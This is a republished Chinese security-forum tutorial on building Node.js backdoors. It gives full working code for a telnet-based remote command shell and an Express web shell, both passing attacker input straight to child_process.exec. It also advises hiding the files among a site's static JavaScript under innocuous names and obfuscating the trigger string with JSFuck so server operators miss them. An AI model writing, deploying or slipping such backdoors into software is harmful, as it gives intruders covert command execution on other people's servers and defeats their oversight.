NodeJs後門程式

wyzsk發表於2020-08-19
作者: Black_Hole · 2015/12/03 10:23

0x00 前言


從語言下手,來寫一個市面沒有的後面程式。

0x01 為什麼選擇NodeJs


  1. 我個人非常喜愛JavaScript這門語言,而我們今天所說的就是NodeJS,JavaScript語言的一個分支。NodeJS本身就是一個Web 伺服器同時他還是一門後端語言,這一點尤其重要,因為我們只需要下載一個NodeJs就可以完成一系列操作,從而免去很多的麻煩。
  2. 而且即使被運維人員發現,也會以為是開發部門正在寫有關NodeJs的專案。
  3. NodeJs是一個非常年輕的語言,以至於很多人都沒有學過。我見過運維人員懂PHP、Python的,但是懂NodeJs的,我是沒見過。

    接下來的篇章,我會使用telnet通訊和web通訊兩個方式來寫NodeJs後面程式。

  4. 下一篇再說

0x02 前期準備工作


有關NodeJs安裝的,請自行百度。

我這裡使用的是NodeJs版本是5.1.0

p1

NodeJs安裝完成後,我們可以隨便在哪一個目錄建立一個NodeJs檔案,當然我這裡推薦在伺服器網站上的靜態目錄裡的JavaScript目錄來寫,因為都是JavaScript檔案,有很大的隱蔽性。我嫌麻煩,就在~目錄下建立一個nodeDemo目錄來建立NodeJs檔案了。

我這裡建立的是app.js,當然名字隨便取,你可以取base.js、cache.js、cookies.js等等,起到隱蔽性就行了。

0x03 telnet通訊後門


NodeJs裡使用telnet進行通訊的時候,需要呼叫net庫和child_process庫裡的exec方法。

程式碼如下:

var net = require('net');
var exec = require('child_process').exec;

然後使用createServer()函式來建立連線,程式碼如下:

var server= net.createServer(function(conn){
    //code
});

接下來要解決字串編碼問題,不然亂碼真的沒法看:

conn.setEncoding('utf8');

注意這裡沒有-,不是utf-8。切記。

為了好看,我還特意加上了conn.write('\n');恩,這樣好看多了。

OK,接下來就是連線成功後,處理輸入的字串了。這裡需要用on函式:

conn.on('data',function(data){
//code
});

在輸入後的字串裡,刪除掉回車字串。

data=data.replace('\r\n','');

這段程式碼非常重要。我被這個坑卡了二十分鐘。很多人可能會問不就是個回車麼,按兩次Enter鍵怎麼了。問題就在這。他這是ascll編碼,也就是說你這個不會回車,而是回車的ascll編碼,如果沒有這個命令,你輸入的命令都將無法使用,你用echo輸出到的檔案也會變成xxx.txt?這裡並不是真正的?,而是系統無法顯示出這個字元,而用?告訴人們,這是一個無法顯示的字串。

這裡的data變數就是我們輸入的命令了。接下來就要用到child_process庫裡的exec方法了。

exec(data,function(error,stdout){
    //code
});

exec的第一個引數是data,也就是我們要執行的程式碼,後面的引數是個函式,這個函式里的一個引數是error,他是反饋命令中存在的錯誤。二個引數stdout是命令執行後的反饋。

我們先判斷執行的命令中是否存在錯誤:

if(error !== null){
    conn.write(error + '\n');
    return false;       
}

如果沒有錯誤會反饋null字串,我們就拿這個當做判斷條件。Conn.write是在telnet終端反饋字元的,相當於php中的echo。

return false;是防止程式繼續向下執行。

接下來就是顯示命令反饋了:

conn.write('########################start\n\n' + stdout + '\n########################end\n\n');

為了更加的直觀,我用#start和#end來標出反饋的區域。

server變數OK後,就是讓程式監聽埠執行了。

server.listen(3000,function(){
    console.log('OK');
});

監聽3000埠,並在終端中顯示OK。

完整程式碼如下:

var net = require('net');
var exec = require('child_process').exec;
var server= net.createServer(function(conn){
    conn.setEncoding('utf8');
    conn.write('\n');
    conn.on('data',function(data){
        data=data.replace('\r\n','');
        exec(data,function(error,stdout){
            if(error !== null){
                conn.write(error + '\n');
                return false;       
            }
            conn.write('########################start\n\n' + stdout + '\n########################end\n\n');
        });
    });
}); 

server.listen(3000,function(){
    console.log('OK');
});

現在讓我們來測試一下:

p2

開啟另一個終端,輸入telnet 127.0.0.1 3000

p3

現在我們輸入幾條命令試下:

p4

p5

OK了。現在只需要使用新增使用者即可再次控制機器。

而這裡有個缺陷,就是沒有密碼驗證,我特意查了net庫裡的函式,但是沒有找到密碼驗證,於是我想到了另一種方法來代替密碼驗證。程式碼如下:

if(data.substring(0,2) == 'js'){
    data = data.substring(2);
}else{
    return false;
}

每一條命令的前面都加上js才會執行,如果沒有,則什麼都不輸出。事例:

p6

加上當我第一次輸入ls的時候,程式並沒有執行,當前面加上js字串之後,命令才成功的執行。

直接寫js字串太顯眼了,我們加密一下吧,因為NodeJs用的v8引擎,那麼在瀏覽器裡的JavaScript黑魔法,在NodeJs裡也可以使用,我們開啟http://www.jsfuck.com/把js加密下,加密後的字串是:

(+(!+[]+!+[]+!+[]+!+[]+[+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]

如圖:

p7

那麼現在的NodeJs後門程式碼就變成這個樣子:

p8

現在我們來測試一下能不能使用:

p9

完美。

0x03 web通訊後門


上節說道使用telnet通訊當做後門,那麼現在我們來說一說web通訊後門。

這裡是使用了express框架嗎,玩過NodeJs的人都知道,基本是NodeJs必裝框架。

安裝express框架請自行百度。

首先我們建立一個網站目錄用於存放後面程式。

express node如圖:

p10

cd node && npm install

完成後,基本就OK了。現在我們進入到routes目錄。修改index.js檔案。

vim router/index.js

p11

這是之前的index.js程式碼,現在我們來修改它。

在第三行加入程式碼:

var exec = require('child_process').exec;

刪除第6行程式碼,修改為:

exec(req.query.webshellPassword,function(error,stdout){
    if(error !== null){
        res.send(error);
        return false;
    }
    res.send(stdout);
});

基本和上一節的telnet通訊後門程式碼差不多。只是出現瞭如下程式碼:

req.query.webshellPassword

req.query是NodeJs獲取URL引數的。webshellPassword是引數名。他相當於PHP程式碼裡的:$_GET['webshallPassword'];

完整程式碼如下:

p12

現在我們進入到node目錄。執行它:

p13

開啟瀏覽器,輸入http://127.0.0.1:3000/?webshellPassword=ls

結果如下:

p14

瀏如果是window系統,沒有裝linux命令集的話,請把ls改成dir。

我們來大致看一下能做哪些事:

p15

p16

p17

p18

想幹啥都可以,心情瞬間變得更美麗的呢。

下一章將說到使用網站來管理後門。麻麻再也不用擔心我天天抱著電腦了呢。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章